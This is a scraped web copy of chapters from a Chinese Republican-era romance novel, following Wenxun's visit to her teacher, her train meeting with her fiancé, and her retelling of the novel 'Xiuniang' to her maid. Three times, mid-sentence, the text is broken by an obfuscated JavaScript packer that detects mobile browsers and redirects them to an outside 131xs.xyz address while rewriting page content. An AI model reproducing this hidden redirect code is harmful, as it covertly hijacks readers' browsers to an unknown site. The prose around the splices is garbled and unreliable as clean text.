说到这里,她止住话头,展颜道:“不过我也清楚,万事急不得,如今说这话只是自寻烦恼。” 思齐能理解姐姐的想法,开解道:“国外先进,是因为他们比我们早发展一些,不代表着咱们比他们笨。只要咱们年轻一代肯学,将那些优秀技术带回来,再自己钻研,不怕没有反超他们的一天。” 文薰点头,笑意愈浓,“对,我正是这样想。” 待到点心上了桌,她又道:“张芝俨那群人具体是怎么回事,你再同我好好说说。” 黄思齐“欸”了一声,开始仔细道来。 能是怎么回事?不外乎沽名钓誉之辈终于开始赶上潮流,为讨好当权者而剜了心肝罢。 朗文薰将事情听了个先后,回了家又翻出未清理的旧报纸看了明白,最后还拜读了那篇《桃源梦忆》。她一下午只下楼打了几个电话,其余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181118|180973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间都是在房间中挥动笔刃。 终于,在日落之前,她搁下笔,将所有的文笺塞入信封。 封信封时,她才察觉腰酸背痛。起身略微活动,走出房间,文薰来到楼梯口,望见思齐正翘着二郎腿坐在沙发上听唱片。 呜呜呀呀的,正是一首《花好月圆》。 思齐小弟听到脚步声立马睁眼抬头,而后起身抬起唱片机的拨片,还周围一个安静。他一眼望见文薰手里的信,走上前迎道,“我刚才听姐姐讲电话联系报社,如今下楼,可是大作将成,莫非立坚道人要重出江湖了?” “立坚道人”是朗文薰高中时往报社投递文章的笔名,这个秘密只有思齐知道。文薰不愿长辈担心,将食指竖起在唇前,示意他噤声。思齐东张西望,鬼精道:“双亲未归,仆人们也在休息,此地无六耳,姐姐尽管放心。” 文薰嗔了一眼,解释道:“只是尝试给以前的报社投稿,还不知道有谁记得我呢。”又将信封递到思齐手中,“老规矩,帮我放进街口的邮筒里去。” “得令!”思齐接下任务,显然是做惯了这种事。他安抚道:“姐姐莫忧。您文采斐然,高中时又写过好些知名文章,编辑若是有眼有心,定忘不了你。” 朗文薰捏着手帕掩住嘴轻笑,“贤弟厚望,可要羞煞我了。” 若能借弟弟吉言,自然再好不过。 信寄出去便犹如石沉大海,至少一两天内是收不到消息的。文薰也没太过期望。第二天,她按照原有计划,和思齐一起带着礼物去拜访老师。 文薰的恩师孟海白如今是国立大学的文学教授。在英吉利留学时,文薰还给老师有过书信交流。此次拜访,一是为了尽礼孝,二是为了给老师汇报成绩。 所谓“成绩”,是文薰在英国时就翻译好的一本爱情小说《伯莱恩小姐》。 姐弟俩在佣人的妥善招待下于客厅坐下,又接了茶水。穿着一身灰蓝色长衫的孟海白戴上眼镜,展开文薰一同带来的英文原版书籍,将她作的译版仔细对比着阅读了几页。虽然只是片段,他却满意得连连点头。 他抬头问:“你在英国,是取得了硕士学位的。” 文薰点头:“是。” 孟海白道:“你的学业非常扎实,实用起来也优秀。我想,国内如今没有几个人能评价你。” 老师的肯定让文薰心中满足,更加高兴了,却还是遵守着教养谦虚道:“老师抬举我了。” 孟海白拍了拍放在大腿上的两本书,沉吟后又问:“只翻译了这一本吗?” 这时,师母从后方进来,文薰和思齐连忙起身给师母见礼。师母招呼他们坐下,自己也坐在对面,笑着维护,“她在国外一个人生活,还要挣扎着求学,能翻译出一本,有所成绩就很不容易了。你这个老师不体贴就算了,怎么还苛求人家?” 思齐这时主动帮忙道:“家姐读起书来,向来是要呕心沥血的,受点体肤之苦根本不算什么。因着她这个性子,家中长辈也是颇有忧心。” 孟海白十分认可:“文薰读书确实十分刻苦。” 思齐便接着道:“只是有一桩。家父家母都不忍让姐姐的辛苦成果白费,想着,若能传播出去才是最好。可我们家空有薄财,却没有什么门路……” 毕竟是自己的事,文薰也不好再让思齐小大人似的帮着开口,忙道:“今日来拜访老师,也是想求老师帮忙推荐一二。” “我晓得了。”孟海白却没有轻易应下,只是问道:“我记得你在沪市,是住在舅家。你何时返乡,回广陵老家?” 文薰并不失望,仍是有礼有节,“大约这个星期天,或是下周一便回去了。” 孟海白沉吟后道:“大好的青年,学到了这么多的知识,养于深闺实在浪费。你可有想过要寻求一份工作?” 文薰立马道:“学生自然是想靠双手养活自己的。只是……”她又犹豫了一下:“学生下个月可能就要结婚了。” 孟海白回头与妻子互望一眼,皆是意外又不意外:“是家里人安排的婚事?” “是。” “你甘愿?” “是自小定下的,我也知道有这回事。” “男方是谁?” “是家中的世交,莫府的三少爷莫霞章。” 孟海白登时大笑出声。 4. 火车偶遇 孟海白对着妻子道:“还不快去与我这个学生亲香。兜兜转转,不料成了亲家!”说完他又对两个年轻人道:“你们可知道,,莫三公子正是你们师母父亲的弟子。” 师母此时也笑着起身过来,思齐见状连忙让座。师母在文薰身边坐下,拉住了她的手:“没有你老师说的这么夸张。我娘家姓潘,家父是前清的进士,后来年岁不好,辞官在乡下隐居。所谓师徒,不过是莫家十余年前请过我父亲给三公子上过几节课罢了。” 孟海白显然有所耳闻,“莫霞章的学问可了不得,那是请过十来位进士给他开蒙,被他父亲精雕细琢出来的。” 思齐只当是在听故事,“莫公子怎么会换这么多位老师?” 孟海白笑着回:“概他学的刁钻罢了。” 师母在文薰的耳边道:“若你婚配的对象是他,我们这些做长辈的尚能安心。莫府的家教好,三公子做人也清白。他同别人不一样,是没有乱来过的。” 怕年轻人脸皮薄,接下来,所谓书籍译本,所谓婚配都没再提,文薰和思齐被留在孟家吃了顿清淡午饭。 直到临行前,孟海白才说:“出版的事,你先莫急。待我把书送给别人看过,我会写信寄到你家里去。” 他又递回来半边稿子:“你日后千万多留心,哪有直接把全本都交由人的?也不怕别人剽窃。” 文薰低头称是,又笑道:“老师不是别人。” 孟海白顺了顺胡须,对这句话受用无比,又顺势教到:“你自己读书,学了正直做人,那是你自己的本事,万万别这样去想别人。这世上多的是衣冠禽兽,狼心狗肺的读书人。” 在孟海白心里,朗文薰一向老实,哪怕今天求上门,也半天不好意思开口。这等性子,让他不由得操心。 文薰的译作,是她的成绩,也是这么多年她求自己的第一件事。学生对老师没有保留,老师当以诚相待。孟海白想着,出版的事他一定要抓紧办好。 最好在婚前就办好。 老师给了准话,两个小的这才安心。 从孟府出来,文薰并不得闲。回家歇息片刻后,又得去咖啡厅和高中同学见面。 时过境迁,高中时期无忧无虑的女孩们都已结婚,且只能约出来一位。朗文薰搅拌着面前的咖啡,听得这位名叫“禹容”的好友提起她不怎么熟悉的旧同学: “伯宜今天没来,你不要多心。往日我约她,也是半年排不上号的。” “她很忙吗?” “忙,生活还艰难。前些年结婚,生了孩子,不过两岁。孩子还小,公婆又不帮忙照看,平日里还得处理一大家子的琐碎……那么好的女孩子,竟然是被聘到人家里去做管家保姆了。” 文薰听得一阵忧伤。 禹容爽朗,开口又道:“我们还好,哪怕自由恋爱,到底门当户对。尽管再苦,能落个安稳也就不错了。只有班上那位叫薛珍妮的同学令人忧心。因父母不同意,她居然跟恋人私奔,逃到北边去了。两三年过去,音讯全无,也不知现下是何情形。” 朗文薰对那位女孩子还很有印象,“珍妮是位很聪明的姑娘。她既然看重对方,说明男方人品不差。她又受过教育,拥有文化……我想,只要有心,在哪里都能找到工作养活自己。” 禹容颇有感触,“是,珍妮是有情人,哪怕再苦,只要有情,料想她都不会去在意。怕只怕造成她苦难的来源便是那个男人。时下的文学小说大流环境,大家都鼓吹者恋爱自由,婚配自由,可自由的后果到底是女人承受得多。女怕嫁错郎,这句老话蕴含的真理是千百年来都没变过的。” 话里话外,像是经历了什么。 文薰不方便多问,又是一阵无言。 好在禹容很快便反应过来,打起精神又问文薰:“不说这些了,说说你吧。文薰,你是我们中间学问最好的。人家都是高中毕业就结婚,现在你读了个硕士回来,家中对你可有安排?” 文薰不得不又提起莫家的事。 婚事啊,可真是年轻女郎们绕不开的一个坎。 过了没两天,舅舅从钱塘回来了,他还给家中的妻儿带了礼物,连文薰都有。舅父因开得中药馆,常年穿着长衫,修得一身文人气质,相隔数年再见也未得变化。他见了文薰,颇为感慨:“这次回来,就是真的大姑娘了。你如今双十年华。正是结婚的好年纪。等你成家,我和你父母也算了了一桩大事。” 文薰跟舅父的关系对比舅母,是尊敬有余而亲近不足,听他这么说也只是低头称是。 又过了三日,朗家来人。府上派了一位称作“祥叔”的管家和一位叫“巧珍”的使女过来帮文薰处理行李。 恰好今日载着文薰书籍的货轮到港,有家里人帮忙收拾,倒省得舅家麻烦。 祥叔不必多说,是家中的二管家,工作几十年的老人了,只有巧珍是个生面孔。不过她的过往文薰倒是熟悉,母亲在以往的家书中提到过:前些年鲁地又闹兵乱,这丫头十来岁的年纪被父母卖掉,流落到南边。朗太太见是老家来的,可怜她年纪小,留下了她。 巧珍才十六岁,正是活泼的年纪。她在朗府长大,和家中人相熟。她并不因身世可怜自苦。无论是在思齐敬贤面前,还是在文薰面前,都是大大方方的。 “来之前太太和我说,日后我是要跟着小姐一起嫁到莫家去的。” 自诩为“陪嫁丫头”,巧珍兢兢业业,将文薰该处理的内务都揽到了手里。 等到这周星期天,文薰已经是收拾东西,确定好今日便回广陵了。 此时敬贤已经放假。一大早,她就在母亲跟前闹了起来。 “凭什么今天只让思齐跟着姐姐去广陵?我也要一起去。” 舅母拉着她,好声好气,“咱们和你父亲明天坐一趟车去,离不了你姐姐多久。” “但是……” 敬贤还要说话,舅妈小声地附在她耳边,两句解释之后,小丫头的眼睛登时亮了起来。 “真哒?” 舅母点头,笑着夸赞,“说起来这件事还是你们两个小的有办法。” 敬贤抬起下巴,骄傲地请功,“都是我的主意,哥哥只是执行。妈妈要是感谢的话,功劳一定要全算在我头上。” 一通撒娇,哄得舅母把她抱进怀里一通稀罕。 思齐如今大了,嫌弃母亲和妹妹腻味,单独上楼去找表姐询问她的进度。 房间里,文薰在巧珍的帮助下穿上了一条杏色蕾丝花边的露肩长裙。这条裙子遮到小腿,裙摆做了荷叶边的样式,走起来宛若花开,十分漂亮。 长裙不好披发,刚巧她昨日才在沪市这边的造型馆做了头发,正配裙子。余下时间,她扑了粉、描了细眉、点了胭脂、补了口红。巧珍自觉这是自己的工作,睁大了眼睛在旁边学习。等文薰装扮好,她衷心夸赞道:“小姐穿这些英吉利的裙子真好看。” 朗文薰歪头为露出来的耳朵戴上珍珠耳坠,对她笑道:“就是些普通洋装。对洋人来说,不过是平日里穿的衣服,和我们是一样的。只是西衣东着,你们见得少,才觉得稀奇。你不是替我收拾了箱笼吗?怎么样,有没有喜欢的?我看你和我的身量差不了太多,若有中意的,挑一两件,我送给你。” “不,不用了,”巧珍连连拒绝,觉得不好意思,“只有小姐这样洋气的人穿洋装才好看呢。这么好的衣服给我穿出去,是要闹笑话的。” “衣服都是人穿的,怎么会笑话你?”文薰又取了一串珍珠项链交叠起戴在胸前,“你若是舍得,找时间,我带你去剪短发。” 巧珍认为不妥,“小姐的好意我心领了,只是我是个丫头,平日里要劳作,穿了好衣裳怕是做事也不自在。” “那就放假穿。难道你还没有假期不成?”文薰觉得这件事可好解决了,“你上工的时候,我是小姐,你是丫头;等你下班,咱们一样是爹生娘养的人,自然可以是朋友。” 巧珍抬头,望见文薰的眼睛里满是真诚,心中止不住感动,“小姐,你真是好人。” 文薰摇头,“咱们现在的社会讲究平等。我相信,只要是接受过新式教育的人,都会和我一样。” 她起身,最后拿起香水。见巧珍在旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181119|180973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边好奇,她喷了一些在手腕上,抬给她闻。巧珍嗅了嗅,精准地猜出:“是蔷薇花香。” 文薰点头,觉得她有个好鼻子。她将手腕往耳后一贴,这便是到位了。今天要坐火车,气味不宜太浓。又想给巧珍用,被这丫头摆着手躲开。最后见她实在不愿意,便收进了随身携带的小包里。 床尾的帽子也被她顺手拿起握在手里。巧珍一时抢不到活干,只好像条尾巴缀在她身后。 恰逢这时思齐敲门。文薰戴上手套,换上了一双白色厚底的高跟鞋,跟随着他一起下楼。 今天,思齐要和文薰一齐去火车站,送她回家。同行者还有祥叔和巧珍。至于舅舅舅母,说是手中还有些事,得明天才能带着敬贤出发。 黄家此次前去,就是奔着为朗文薰送嫁了,怕是要等到她新婚回门才能返沪。 左右分开不了多久,身边又有祥叔这个妥帖人,长辈们便没做嘱咐。眼看着差不多时间,思齐和文薰乘车出了小洋楼。 火车站人来人往,倒不见得比码头人少。文薰对一切并不陌生,她对比着现在和过去,唤起脑海中的回忆。 站台处也尽是人。除开乘客外,还有很多小贩挑着担子卖东西。一篮篮一包包的土特产,不过几个铜元,价格都很公道。文薰记得往年吃过一位阿婆手工制的苏式点心,口感绵密,滋味上佳,如今似乎见不到了。 从沪市坐火车前往广陵,途中大约9个小时。普通包厢里人多口杂,黄家特意买的是头等车厢的票,可以一人一个包间,省了清净。上车时,思齐说是有事,落后了一两步,让巧珍和文薰先去。 文薰不疑有他,按照标识来到车票对应的车厢。 今日阳光正好,也起了风,正是令人舒服的天气。然而站台和车厢由于通风的构造,形成了气流,文薰和巧珍站在头等车厢的门前,一时打不开车门。 巧珍左右探头,觉得奇怪,“守在这里的侍应生呢?” 文薰握着门把手,抿着嘴发力又试了两次。正好,隔着拉了纱帘的玻璃窗子,她看见里头有位乘客过来。心知从里面定是能打开的,文薰赶紧松手,并后退一步,给人施展的空间。 事实上她想的道理自然没错,只不过意料之外的,是这位开门的人。 门一打开,顶着拂面的暖风,文薰在发丝翻飞中看清了来人的模样。青年穿着宝蓝色的长衫,衬得皮肤白皙,身材笔挺,清隽儒雅。他的脸颊很干净,想来是特意打理过。他的眉毛很浓,却不粗犷;眼睛很大,却不包含半点邪念;嘴角微压,看着严肃,却不吓人,只是隐隐令人有种不好接近之感。 真人确实要比照片上好看。 暖风又起,吹起他额前的碎发,那些头发像拨片一样,拨动文薰的心弦。她望着,一时失神,直到身后有人提醒,“麻烦让一下啦?” 反应过来自己失态,文薰收眼,低头,然后带着巧珍侧身,让身后的乘客进来。 那也是一位年轻小姐。她进来时打量了文薰一眼,又望向青年。青年同样背着手转过身,感受到被打量的视线,他斯文地冲她礼貌性地点头。 那小姐不知想到什么,笑着往里边去了。 莫霞章往后退一步,好让文薰进来。今天真是奇怪,文薰踏步走入包厢的瞬间,妖风又起,好邪门地将她的帽子吹飞。好在他眼疾手快,伸手抓住。 这么一来,不开口打招呼都不行了。 文薰还在想如何开口时,莫霞章先一步说话:“是朗家的文薰姐姐?” 他的声音清澈干净,开口的瞬间,便让人想到了柳宗元笔下的小石潭。 他的身量比穿了高跟鞋的文薰还要高半个头,半点不像小时候那般矮小。文薰微抬起头,不知怎么,到嘴的话变成一句:“霞章妹妹。” 莫霞章一听,脸上露出微愕。 文薰用指尖掩住嘴,知是自己失礼,连忙解释:“是我狭促了。我也不知怎么……” 莫霞章浅笑,只是一瞬,“不要紧,以前本来就是这样叫的。” 文薰接过他递来的帽子,低着头,更不好意思了。 5. 《绣娘》 文薰一直对自己的婚姻抱着放任自如地想法,然而她或许忘了,自己到底是个年轻女孩。 二十出头的年纪,春心萌动,怎么会对爱情没有向往呢? 或许这就是人的心思,又或许是古话“见面三分情”的道理。看照片,看图画,甚至是听长辈、弟妹左右提起,朗文薰心中都不会羞涩。反倒是真正见到人了,意识到眼前这人就是自己的未婚夫了,内心的情绪才翻涌浮动起来。 巧珍眨巴着一双水灵的眼睛,瞧着眼前的公子小姐,一对璧人,现在却都看对方看傻了,心头直被责任感灌满。她仿若自己是太太往日看过的戏里的那位红娘了,带着满腔正气开口打招呼,击破周围既暧昧又尴尬的氛围。 “莫少爷。” 莫霞章转头,朝她点头致意,“你好。”又意识到这样堵在入口处不好,赶紧伸手,引文薰往前走,“这里不方便说话,我送姐姐去包间。” 朗文薰放下轻抚着脸颊的手,声音都不觉得更轻,“有劳了。” 车厢里没什么味道,想来是新制,又或许是有被好好打扫。 莫霞章落后半步,让女士走在前面,颇有绅士风度。文薰回头,和巧珍交换了个眉眼官司,又回头与年轻的先生搭话:“学校才刚放假吗?” “是,今年放假稍晚一些。姐姐回国的一路可还顺利?” 他的腔调有一些北方化,比南方人的口语听起来稍硬一些,让文薰听着有些新鲜,“比预计的早到了几天。” “不知坐的是哪家公司的邮轮?” “英格兰货运公司。” “啊,那想来是稳当得很。英国人海上发家,称得上浪里白条了。” 文薰眨眨眼,直觉告诉她,莫霞章的这句话,原意可不大好听。 列车不大,几句话间便到了地方。莫霞章见文薰停下,先抬头认了一下包厢号,而后张嘴想说什么,却听到身后的门开了,走出一个穿短衫长裤,头发剪得干净的老仆来,“少爷,朗小姐。” 眨眼间,莫霞章脸色一收,指向他的来处,道:“我的房间在那儿。” 文薰未觉有异,点头说“好”。 待到他和仆人进屋,文薰转头向方才来的路口望去,果然见思齐在那边探头探脑。 “过来。”她没好气道。 巧珍抿嘴偷笑,开了房门,见包厢里有张舒适的青色丝绒铺的软榻,上头还盖了凉席,便拿着帕子拨了拨不存在的灰尘,好叫文薰坐下。 虽说是头等车厢,可火车里能使用的地方有限,厢房里除了供人躺卧的软榻和一张桌子外,多站两个人都转不开身。巧珍机灵,瞧见桌上有水壶,便提起来,“我去给小姐倒水。” 等思齐进来,她顺手把门关严实了。 文薰握着帽子,往旁边挪了挪,腾出地方。思齐先是把文薰的箱子靠墙放好,然后取出来几个莲蓬,搁在桌上,“刚才买的,姐姐路上吃着玩。” 示完好才扶着膝盖,同她隔了个身位坐下,开始全盘托出,“都是敬贤那个鬼丫头的主意。” 说完又抬头瞟了姐姐一眼,“妈和姨妈也同意了。” 文薰“嗯”了一声,让他继续。 思齐将事情缘由仔细道来:“那天在电话局,我打的那通电话是往临安大学去的。敬贤说,姐姐都回来了,不让莫家人第一时间知道,太不像话。我听着也觉得有理。虽说姐姐的婚姻是父母之命,可咱们也得见见新郎倌的态度不是?所以……” 他讨好一笑,“过了两天,祥叔不是来了嘛,他顺便带来了口信。姨妈说,姐姐的事,莫公子打电话回去禀告双亲了。莫家十分重视,如今已派人在广陵候着,就等着接了少爷,再等我父母亲到了,媒婆领着莫家人正式上门拜访。” 思齐越说,越觉得这个主意不错,“姐姐最开始不是还想相看人吗?母亲问清楚后,特意买了和他同一趟的车票。姐姐,如今人你也见了,可还满意?” 文薰想到刚才的青年,嘴角含着掩饰不掉的笑,“还成。” 思齐又说:“那,你点头答应的话,过两日,你们成婚的消息就要登报了。” 文薰用食指卷着帽子上的飘带,实在不愿意和表弟当面谈这个,侧过身下令,“出去。” 思齐看出姐姐是真的羞了,麻利地起身,“好嘞。姐姐,我和祥叔就住在旁边,有事叫我啊。” 文薰不理。等门关上后,她软软地歪在塌上,用帽子盖了半张脸,在记忆里找起来曾经和穿着裙子的未婚夫的过往。 那时,她只当是母亲朋友家的妹妹,哪里能想到竟是自己的丈夫? 扎着辫子的小孩脸和刚才目含星辰的青年在心里来回晃悠,越想,朗文薰的脸颊越红,临到了还是翻不过这篇,侧过身轻轻地往塌上锤了一拳。 真是荒唐。 等巧珍拿着东西回来,敲门再开门,朗文薰已经恢复了平静,她斜倚着软榻的背部看起了书,连刚才被风吹乱的头发都被打理好。 巧珍笑嘻嘻地开口,“小姐,我刚才去餐车了。您瞧,我拿来了什么?” 文薰抬头,望见她把一套印着郁金香花的掐丝珐琅茶具放在旁边盖了桌布的圆桌上,蓦然一笑,“辛苦你了,快来坐下。” “欸。”巧珍答应,却也先倒了杯香茶,放在文薰手边,“小姐,我遇上莫家的下人了,原来莫公子也不是一个人在车上。” 文薰“嗯”了一声,心无旁骛,眼睛像是在书上生了根。 巧珍穿着浅粉色的上袄长裤,头发梳成一个辫子,正是方便干活的装扮。因天热,她坐了半边后便掏了帕子往自己脸上扇风。不多时,火车启动,开起来后有风从窗外吹进来,吹掉了她额上的汗,才叫她舒服。 巧珍往日虽跟着太太出过门,可火车这种新鲜事物也见得少,便兴致勃勃地趴在车窗上往外瞧。文薰只看了一眼,提醒道:“小心别把头伸出去。” “好。” 耳边是火车“哐当哐当”的声音,文薰也不觉得吵闹,看得认真。 巧珍看风景也很认真。她这一看,就是一半个多小时。直到车在吴州站停下,她终于看累了,才把头别回来。 她这时又看到了桌上的莲蓬,不用吩咐,拿过来剥了,“小姐,您吃莲子芯吗?” 文薰把书翻了个页,“吃的。” 巧珍转着眼睛,又问:“那您吃苦瓜吗?” 文薰照常回答:“也吃的。” 巧珍把剥好的莲子放在干净的茶碗里,方便小姐拿着吃:“我干妈说,只有大人才能吃得了苦瓜和莲子芯。小姐,您是大人。” 都要结婚了,怎么不是大人呢? 文薰放下手,把书搁在腿上,看着她说话:“你干妈是谁?” 巧珍道:“是家里的王妈。” 王妈自小照顾文薰长大,她既是保姆,也是乳娘。 思及此处,文薰感慨:“那我们真的就跟干姐妹一样了。” 巧珍却坚持着分寸,“不,我只是小姐的丫头。” 朗文薰知道这是她的思想,更知道这种思想的来处,知道这不是短时间能改变的事,便没强求。只问她:“巧珍,你姓什么?” “姓刘,刘邦的刘。” “你知道刘邦?” “从戏文里学的。小姐,我还知道楚汉之争,霸王虞姬呢。” “那你认字吗?” 巧珍回答得认真,“认得,但是不会写。” “箱子里有书。你无聊的话,可以拿两本出来打发时间。” “多谢小姐,可我不太爱看书。” “那你爱看什么?” “爱看报纸。报纸上有好多新闻,可有意思了。” 文薰觉得倒是自己小瞧人家了,“你还能读懂新闻?” 巧珍仍旧掰着莲蓬,笑得像个福果儿,“之前不太懂,后来给老爷拿报纸的时候,觉得有意思,看得多了,就懂了一些。就比如说前几天,有位叫容仙舟的老先生去南方大学讲座,不知道他说了什么,后来被学生们哄下了台。报纸上刊登了他的窘状,那老先生还留着辫子,样子可滑稽了。” 这确实有意思。文薰也跟着笑,“你喜欢有意思的文字。” “是啊。我是做不了学问的,所以就想着能多听点故事。”巧珍终于服侍完了一个莲蓬,拍拍手,把乘着喜人果实的碗递给文薰。 “谢谢,”文薰捻了一个放在嘴里,“你也吃。” 巧珍盯着文薰,见她真的连莲子芯一起吃下去了,眉头都没皱,嘟圆嘴做感慨状,“吃得苦中苦,方为人上人。小姐,怪不得府里人都说,你有大出息。” 文薰听她说得有趣,笑道:“那你还不多吃些,你难道不想有出息?” 巧珍低头看碗,吸了口气。 不过三两下,她把脸皱得比莲子还要苦,“还是算了吧,我就当个有出息人身边的小丫头,挺好的。” 车厢外,或许是有旅客上下车,制造出了些动静,有些吵闹。 文薰静静地等着,等环境安静了些,才开口安慰道:“听多了故事,人也可以有见识。就好比你刚才说的新闻,我都不知道呢。” 被夸了,巧珍喜得露出甜滋滋的笑。她细致地掐开莲子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181120|180973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把绿芯撇掉,继续找话:“小姐,你在看什么书?” 文薰把书抬起来展示给她看,“是本小说。” 这本书名叫《绣娘》,是一位笔名为“澜瑛女士”的新人作家发表。昨天敬贤放假回来,特意买来送她,说是同学推荐的上半年最畅销的小说。 文薰本就爱读书,这几日要陪长辈、弟妹,还得出门和老朋友叙旧,没什么看书的时间。她早打算今天借着回广陵的一路,将这本不厚的小说读完。 巧珍歪了歪头,“我也爱看小说,可有些的我看不太懂。这本小说写什么的?” 文薰左右觉得无聊,提议:“我给你讲讲?” “好呀。” 女孩子们便动作起来。其一作先生,其一作学生,二人对着端坐。 火车又重新驶动。窗外是盛夏绿意,有高山流水,又因车速有风吹满面,是以并不觉得热。 朗文薰柔声细语,娓娓道来,如同在讲述一位熟悉的朋友的故事。 “有位绣娘名叫澜瑛,家中世代以苏绣闻名,是祖传的手艺。她是光绪十一年生人,到光绪二十七年,进了徽州一户姓贺的富绅家做工。” “贺家人口不丰,只有老爷,太太,三位姨太太,和一位小姐。澜瑛手艺好,极得大太太喜欢,可任是如此,日子也难过。” “贺老爷是咸丰年生人,同治年间考了秀才,后来考了一辈子也没考上进士,贺老爷又没有别的本事,不得已吃祖产为生。” “贺老爷没能够在外头做上大官,在家里却享足了当官的瘾。贺家的大事小事,老爷都要升堂过问,都得是他拿主意。当时年代已新,贺老爷却仍固守着旧文化。老爷没有儿子,只有一个女儿,可这样,他还勒令小姐裹脚。不仅如此,他还不让府上的女眷吃饱饭,连澜瑛这样外头进来做工的都不例外。” 巧珍听到这里,已是感同身受了,“贺家是什么连饭钱都支不起的破落户吗?” 文薰道:“贺老爷认为女子身形以纤瘦为美。” 巧珍忍不住骂,“呸!兵荒马乱的时候,又是裹脚,又不让吃饱饭……这老爷真坏!” 文薰也是赞同。她低头看着书本中的文字,只觉得作者笔触辛辣,着实敢写。 因得原文里,贺府小姐还有一句对母亲的泣然之声:“父亲既然看不起我,何苦跟母亲生下我?既然生下我,为何又不愿意好好待我?为何我的模样要靠他人的喜好来决定!把家里的女人逼成这般,到了逃命的时候唯独落下我们……难不成我生下来是奔着给人当口粮去了吗?” 这篇故事写得好,文薰也读得细,在讲到贺老爷要娶一个二八年华的姑娘为五姨太时,堪堪停止。 “接下来的故事呢?” “接下来我还没看呢。” 巧珍拽着手里的帕子,想让小姐快看,又知道这样不尊重的话不能说,只窝了一肚子气。 “像贺老爷这样的恶人,早些一命呜呼了才好。” 文薰不置可否。长久的阅读,她有些累了,顺手合上书,撑着肩颈伸了个懒腰。巧珍一看,赶紧起身去帮她捏捏,锤锤,殷勤得很,“辛苦小姐了。” 她二人正在笑闹,思齐在外头敲门:“姐姐,午饭是去餐车用,还是我叫侍应拿过来?” 文薰看着巧珍道:“坐了一路,身上也酸,咱们去餐车吃饭,顺便走动。” “好。”巧珍轻巧地答应,立马扶着她起来,帮她整理裙子和头发。 文薰顺手拿起手提包。 出得房门,不远处,文薰上车时见过的那位莫家老仆在走廊上含肩,耷拉着胳膊站立。见到文薰望过来,他半撑着脖子,朝她笑了笑。 旁边的思齐注意到她的视线,转过来用眼神询问。 文薰点头,先带着巧珍离开。 不多时,思齐追上来。他在文薰身边小声道:“那仆人是莫家来接少爷的,正是府上的管家,叫应贵。应管家说,莫公子有些不舒服,中午饭就在包间自己吃了。” 接下来是他自己的猜想:“姐姐,莫公子毕竟是些老学究教出来的,怕是他觉得如今和你还未真正定下,不好显得不尊重,才找借口不过来。” 文薰不作深究,更没别的想法。邀请他吃饭,是出于礼貌。莫霞章拒绝,或许也是一种周全方式。 巧珍怕她心情不好,抢着道:“他不吃,咱们吃。我们一定要吃饱饭,我们还得把贺小姐和澜瑛的那份吃回来。” 心态很稳的文薰仍能同她玩笑:“那你可是找错债主了,这顿饭又不是贺老爷付钱。” 巧珍语塞,半响后也是笑了起来。 6. 封建的莫家 在中午之前,上车之后,也就是去吴州的那段时间,思齐是单独见过莫霞章的。 狭小的车厢憋闷得慌,哪怕是他一个人待着,也不得松快。他正是活泼好动的年纪,很快便坐不住,出了包厢透气。 也是赶巧,出了门,一转头,思齐正好望见莫霞章独自站在火车车厢连接口,手里抓着一张报纸,倚着栏杆吹风。 风把他的短发吹得很乱,他似乎也不在乎,只怔怔地虚落着眼睛望着外头,似乎在出神。 黄思齐回身望了两圈,想找祥叔过去问问这未来的便宜姐夫要不要人陪。后来一想,自己哪来的少爷脾气?便主动踏着步子过去了。 有人说,学生都该是怕老师的。可思齐属于好学生,不用遵循这个道理。再加上多了一层未来姻亲身份,他面对莫霞章更是落落大方。 “莫先生。” 莫霞章闻声回头,眨眼间,眼睛里的郁色隐去,变得客气疏离,“黄公子。” 思齐学了父亲的模样,与人说话前惯会先笑一下,“天气热,先生可是站在这里吹风乘凉?” “有吧。”听起来像是回答,但是结合莫霞章此时有些迷茫的表情,倒像是他在怀疑自己。 思齐见他没什么精神,想着从口袋里掏出一包香烟,“先生抽烟吗?” 莫霞章的肩膀往后靠了靠,很明显的抗拒,“不,不抽,谢谢。” “哦。”把东西塞回口袋,思齐还有些为他的良好习惯感到高兴。 他正乐着,抬头,望见莫霞章盯着自己拿烟的手,忙道:“我也不抽,不过是拿了父亲的珍藏,用于后天待客。” 莫霞章的神情舒展开来,“我大哥抽,想来你后天必用得上。” 思齐顺势问:“伯父的情况还好吗?” 莫霞章语气却淡淡的,“听说每天汤药喝着,没什么精神。” 眼前人的表现,不像是一个在为父亲担忧的孝子。思齐觉得不对,又无从找到这种不对的源头,只好客套道:“说不定有了喜事,伯父就会好转。” 莫霞章似乎是不愿意谈论这个,转移话题问:“你的课业还好?” “好着呢。” “我听说你明年毕业,有想过往哪个大学去吗?” 